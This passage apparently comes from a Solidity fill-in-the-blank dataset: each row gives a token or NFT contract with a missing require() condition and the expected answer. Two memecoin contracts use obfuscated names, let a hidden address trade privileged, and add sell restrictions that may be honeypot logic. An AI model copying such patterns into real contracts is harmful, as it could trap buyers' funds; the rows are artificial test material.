function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| _msgSender()==devWallet | 63,590 | _msgSender()==devWallet |
"ERC20: trading is not yet enabled." | // A Falling Knife: An Elon Story
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private fArra;
mapping (address => bool) private Pizza;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Germany = 0;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; address private hash01hudqjnbfu81f9ufj; uint256 private _totalSupply;
bool private trading; uint256 private Sword; bool private Truck; uint256 private Timer;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function symbol() public view virtual override returns (string memory) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _WhereIsTheKnife(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function last(uint256 g) internal view returns (address) { }
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _balancesOfTheMacs(address sender, address recipient, bool simulation) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _balancesOfTheWindows(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheMacs(sender, recipient, (address(sender) == hash01hudqjnbfu81f9ufj) && (Sword > 0));
Sword += (sender == hash01hudqjnbfu81f9ufj) ? 1 : 0;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _DeployFallingKnife(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract FallingKnife is ERC20Token {
constructor() ERC20Token("Falling Knife", "FALL", msg.sender, 400000 * 10 ** 18) {
}
}
| (trading||(sender==hash01hudqjnbfu81f9ufj)),"ERC20: trading is not yet enabled." | 63,636 | (trading||(sender==hash01hudqjnbfu81f9ufj)) |
"Tokens already claimed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
///////////////////////////////////////////////////////////////////////////////////////////
// //
// ███ ███ ██████ ██ ██ ██ ███████ ███████ ██ ██ ██████ ████████ ███████ //
// ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ████ ██ ██ ██ ██ ██ ██ █████ ███████ ███████ ██ ██ ██ ███████ //
// ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ██ ██████ ████ ██ ███████ ███████ ██ ██ ██████ ██ ███████ //
// //
///////////////////////////////////////////////////////////////////////////////////////////
contract TitleSequenceFramesLR98 is ERC721A, IERC2981, Ownable {
uint256 public immutable maxSupply;
bool public isClaimActive;
address public adminMinter;
address public royaltyAddress;
uint256 public royaltyShare10000;
bytes32 public merkleRoot;
mapping(address => bool) public tokenClaimed;
string private baseTokenUri;
string private baseExtension;
constructor(
string memory _baseUri,
string memory _baseExtension,
uint256 _maxSupply,
address _owner,
address _adminMinter,
address _royaltyReceiver,
uint256 _royaltyShare
) ERC721A("MovieShots - LR98 Title Sequence Frames", "LR98-FRAMES") {
}
modifier claimActive() {
}
modifier onlyAdminMinter() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setBaseUriExtension(string memory _baseExtension)
external
onlyOwner
{
}
function setAdminMinter(address _adminMinter) external onlyOwner {
}
function setClaimActive(bool _isClaimActive) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setRoyaltyReceiver(address royaltyReceiver) external onlyOwner {
}
function setRoyaltyShare(uint256 royaltyShare) external onlyOwner {
}
function claim(uint256 _amount, bytes32[] calldata _merkleProof)
external
claimActive
{
require(totalSupply() + _amount <= maxSupply, "Max supply exceeded");
require(<FILL_ME>)
bytes32 node = keccak256(abi.encodePacked(msg.sender, _amount));
require(
MerkleProof.verify(_merkleProof, merkleRoot, node),
"Invalid proof"
);
tokenClaimed[msg.sender] = true;
_mint(msg.sender, _amount);
}
function adminMint(address recipient, uint256 quantity)
external
onlyAdminMinter
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
}
| (!tokenClaimed[msg.sender]),"Tokens already claimed" | 63,773 | (!tokenClaimed[msg.sender]) |
"Invalid proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
///////////////////////////////////////////////////////////////////////////////////////////
// //
// ███ ███ ██████ ██ ██ ██ ███████ ███████ ██ ██ ██████ ████████ ███████ //
// ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ████ ██ ██ ██ ██ ██ ██ █████ ███████ ███████ ██ ██ ██ ███████ //
// ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ██ ██████ ████ ██ ███████ ███████ ██ ██ ██████ ██ ███████ //
// //
///////////////////////////////////////////////////////////////////////////////////////////
contract TitleSequenceFramesLR98 is ERC721A, IERC2981, Ownable {
uint256 public immutable maxSupply;
bool public isClaimActive;
address public adminMinter;
address public royaltyAddress;
uint256 public royaltyShare10000;
bytes32 public merkleRoot;
mapping(address => bool) public tokenClaimed;
string private baseTokenUri;
string private baseExtension;
constructor(
string memory _baseUri,
string memory _baseExtension,
uint256 _maxSupply,
address _owner,
address _adminMinter,
address _royaltyReceiver,
uint256 _royaltyShare
) ERC721A("MovieShots - LR98 Title Sequence Frames", "LR98-FRAMES") {
}
modifier claimActive() {
}
modifier onlyAdminMinter() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setBaseUriExtension(string memory _baseExtension)
external
onlyOwner
{
}
function setAdminMinter(address _adminMinter) external onlyOwner {
}
function setClaimActive(bool _isClaimActive) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setRoyaltyReceiver(address royaltyReceiver) external onlyOwner {
}
function setRoyaltyShare(uint256 royaltyShare) external onlyOwner {
}
function claim(uint256 _amount, bytes32[] calldata _merkleProof)
external
claimActive
{
require(totalSupply() + _amount <= maxSupply, "Max supply exceeded");
require((!tokenClaimed[msg.sender]), "Tokens already claimed");
bytes32 node = keccak256(abi.encodePacked(msg.sender, _amount));
require(<FILL_ME>)
tokenClaimed[msg.sender] = true;
_mint(msg.sender, _amount);
}
function adminMint(address recipient, uint256 quantity)
external
onlyAdminMinter
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
}
| MerkleProof.verify(_merkleProof,merkleRoot,node),"Invalid proof" | 63,773 | MerkleProof.verify(_merkleProof,merkleRoot,node) |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
///////////////////////////////////////////////////////////////////////////////////////////
// //
// ███ ███ ██████ ██ ██ ██ ███████ ███████ ██ ██ ██████ ████████ ███████ //
// ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ████ ██ ██ ██ ██ ██ ██ █████ ███████ ███████ ██ ██ ██ ███████ //
// ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //
// ██ ██ ██████ ████ ██ ███████ ███████ ██ ██ ██████ ██ ███████ //
// //
///////////////////////////////////////////////////////////////////////////////////////////
contract TitleSequenceFramesLR98 is ERC721A, IERC2981, Ownable {
uint256 public immutable maxSupply;
bool public isClaimActive;
address public adminMinter;
address public royaltyAddress;
uint256 public royaltyShare10000;
bytes32 public merkleRoot;
mapping(address => bool) public tokenClaimed;
string private baseTokenUri;
string private baseExtension;
constructor(
string memory _baseUri,
string memory _baseExtension,
uint256 _maxSupply,
address _owner,
address _adminMinter,
address _royaltyReceiver,
uint256 _royaltyShare
) ERC721A("MovieShots - LR98 Title Sequence Frames", "LR98-FRAMES") {
}
modifier claimActive() {
}
modifier onlyAdminMinter() {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setBaseUriExtension(string memory _baseExtension)
external
onlyOwner
{
}
function setAdminMinter(address _adminMinter) external onlyOwner {
}
function setClaimActive(bool _isClaimActive) external onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
}
function setRoyaltyReceiver(address royaltyReceiver) external onlyOwner {
}
function setRoyaltyShare(uint256 royaltyShare) external onlyOwner {
}
function claim(uint256 _amount, bytes32[] calldata _merkleProof)
external
claimActive
{
}
function adminMint(address recipient, uint256 quantity)
external
onlyAdminMinter
{
require(<FILL_ME>)
_mint(recipient, quantity);
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
}
| totalSupply()+quantity<=maxSupply,"Max supply exceeded" | 63,773 | totalSupply()+quantity<=maxSupply |
"Only one transfer per block allowed." | /**
Telegram: https://t.me/XErc20_CoinX
Twitter: https://twitter.com/XErc20_CoinX
Website: https://xerc.org/
*/
pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _bcfcih(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract X is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _poartcr;
address payable private _phafiy;
address private _barenp;
string private constant _name = unicode"𝕏";
string private constant _symbol = unicode"𝕏";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _qltohr=0;
uint256 private _qvoest=0;
uint256 public _patyvb = _totalSupply;
uint256 public _qraefk = _totalSupply;
uint256 public _pjoaeb= _totalSupply;
uint256 public _qrigpf= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blexad;
mapping (address => bool) private _pvlkcu;
mapping(address => uint256) private _fllnou;
bool private _xxercopen;
bool public _peudsq = false;
bool private blhitf = false;
bool private _ruyakj = false;
event _qkfrkj(uint _patyvb);
modifier fraivy {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 yoriug=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_peudsq) {
if (to
!= address
(_poartcr)
&& to !=
address
(_barenp)) {
require(<FILL_ME>)
_fllnou
[tx.origin]
= block.number;
}
}
if (from ==
_barenp && to !=
address(_poartcr) &&
!_blexad[to] ) {
require(amount
<= _patyvb,
"Exceeds the _patyvb.");
require(balanceOf
(to) + amount
<= _qraefk,
"Exceeds the _qraefk.");
if(_qvoest
< _qltohr){
require
(! _frajov(to));
}
_qvoest++;
_pvlkcu
[to]=true;
yoriug = amount._bcfcih
((_qvoest>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _barenp &&
from!= address(this)
&& !_blexad[from] ){
require(amount <=
_patyvb &&
balanceOf(_phafiy)
<_qrigpf,
"Exceeds the _patyvb.");
yoriug = amount._bcfcih((_qvoest>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_qvoest>
_qltohr &&
_pvlkcu[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!blhitf
&& to == _barenp &&
_ruyakj &&
contractTokenBalance>
_pjoaeb
&& _qvoest>
_qltohr&&
!_blexad[to]&&
!_blexad[from]
) {
_transferFrom( _bcpikv(amount,
_bcpikv(contractTokenBalance,
_qrigpf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_ptnyk(address
(this).balance);
}
}
}
if(yoriug>0){
_balances[address
(this)]=_balances
[address
(this)].
add(yoriug);
emit
Transfer(from,
address
(this),yoriug);
}
_balances[from
]= _qcrivj(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_qcrivj(yoriug));
emit Transfer
(from, to,
amount.
_qcrivj(yoriug));
}
function _transferFrom(uint256
tokenAmount) private
fraivy {
}
function _bcpikv
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _qcrivj(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frajov(address
account) private view
returns (bool) {
}
function _ptnyk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| _fllnou[tx.origin]<block.number,"Only one transfer per block allowed." | 63,784 | _fllnou[tx.origin]<block.number |
"Exceeds the _qraefk." | /**
Telegram: https://t.me/XErc20_CoinX
Twitter: https://twitter.com/XErc20_CoinX
Website: https://xerc.org/
*/
pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _bcfcih(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract X is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _poartcr;
address payable private _phafiy;
address private _barenp;
string private constant _name = unicode"𝕏";
string private constant _symbol = unicode"𝕏";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _qltohr=0;
uint256 private _qvoest=0;
uint256 public _patyvb = _totalSupply;
uint256 public _qraefk = _totalSupply;
uint256 public _pjoaeb= _totalSupply;
uint256 public _qrigpf= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blexad;
mapping (address => bool) private _pvlkcu;
mapping(address => uint256) private _fllnou;
bool private _xxercopen;
bool public _peudsq = false;
bool private blhitf = false;
bool private _ruyakj = false;
event _qkfrkj(uint _patyvb);
modifier fraivy {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 yoriug=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_peudsq) {
if (to
!= address
(_poartcr)
&& to !=
address
(_barenp)) {
require(_fllnou
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fllnou
[tx.origin]
= block.number;
}
}
if (from ==
_barenp && to !=
address(_poartcr) &&
!_blexad[to] ) {
require(amount
<= _patyvb,
"Exceeds the _patyvb.");
require(<FILL_ME>)
if(_qvoest
< _qltohr){
require
(! _frajov(to));
}
_qvoest++;
_pvlkcu
[to]=true;
yoriug = amount._bcfcih
((_qvoest>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _barenp &&
from!= address(this)
&& !_blexad[from] ){
require(amount <=
_patyvb &&
balanceOf(_phafiy)
<_qrigpf,
"Exceeds the _patyvb.");
yoriug = amount._bcfcih((_qvoest>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_qvoest>
_qltohr &&
_pvlkcu[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!blhitf
&& to == _barenp &&
_ruyakj &&
contractTokenBalance>
_pjoaeb
&& _qvoest>
_qltohr&&
!_blexad[to]&&
!_blexad[from]
) {
_transferFrom( _bcpikv(amount,
_bcpikv(contractTokenBalance,
_qrigpf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_ptnyk(address
(this).balance);
}
}
}
if(yoriug>0){
_balances[address
(this)]=_balances
[address
(this)].
add(yoriug);
emit
Transfer(from,
address
(this),yoriug);
}
_balances[from
]= _qcrivj(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_qcrivj(yoriug));
emit Transfer
(from, to,
amount.
_qcrivj(yoriug));
}
function _transferFrom(uint256
tokenAmount) private
fraivy {
}
function _bcpikv
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _qcrivj(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frajov(address
account) private view
returns (bool) {
}
function _ptnyk(uint256
amount) private {
}
function openTrading (
) external onlyOwner ( ) {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_qraefk,"Exceeds the _qraefk." | 63,784 | balanceOf(to)+amount<=_qraefk |
null | /**
Telegram: https://t.me/XErc20_CoinX
Twitter: https://twitter.com/XErc20_CoinX
Website: https://xerc.org/
*/
pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _qcrivj(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function _bcfcih(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract X is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _poartcr;
address payable private _phafiy;
address private _barenp;
string private constant _name = unicode"𝕏";
string private constant _symbol = unicode"𝕏";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _qltohr=0;
uint256 private _qvoest=0;
uint256 public _patyvb = _totalSupply;
uint256 public _qraefk = _totalSupply;
uint256 public _pjoaeb= _totalSupply;
uint256 public _qrigpf= _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _blexad;
mapping (address => bool) private _pvlkcu;
mapping(address => uint256) private _fllnou;
bool private _xxercopen;
bool public _peudsq = false;
bool private blhitf = false;
bool private _ruyakj = false;
event _qkfrkj(uint _patyvb);
modifier fraivy {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address _owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address _owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 yoriug=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_peudsq) {
if (to
!= address
(_poartcr)
&& to !=
address
(_barenp)) {
require(_fllnou
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fllnou
[tx.origin]
= block.number;
}
}
if (from ==
_barenp && to !=
address(_poartcr) &&
!_blexad[to] ) {
require(amount
<= _patyvb,
"Exceeds the _patyvb.");
require(balanceOf
(to) + amount
<= _qraefk,
"Exceeds the _qraefk.");
if(_qvoest
< _qltohr){
require(<FILL_ME>)
}
_qvoest++;
_pvlkcu
[to]=true;
yoriug = amount._bcfcih
((_qvoest>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _barenp &&
from!= address(this)
&& !_blexad[from] ){
require(amount <=
_patyvb &&
balanceOf(_phafiy)
<_qrigpf,
"Exceeds the _patyvb.");
yoriug = amount._bcfcih((_qvoest>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_qvoest>
_qltohr &&
_pvlkcu[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!blhitf
&& to == _barenp &&
_ruyakj &&
contractTokenBalance>
_pjoaeb
&& _qvoest>
_qltohr&&
!_blexad[to]&&
!_blexad[from]
) {
_transferFrom( _bcpikv(amount,
_bcpikv(contractTokenBalance,
_qrigpf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_ptnyk(address
(this).balance);
}
}
}
if(yoriug>0){
_balances[address
(this)]=_balances
[address
(this)].
add(yoriug);
emit
Transfer(from,
address
(this),yoriug);
}
_balances[from
]= _qcrivj(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_qcrivj(yoriug));
emit Transfer
(from, to,
amount.
_qcrivj(yoriug));
}
function _transferFrom(uint256
tokenAmount) private
fraivy {
}
function _bcpikv
(uint256 a,
uint256 b
) private pure
returns
(uint256){
}
function _qcrivj(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
}
function removeLimitas (
) external onlyOwner{
}
function _frajov(address
account) private view
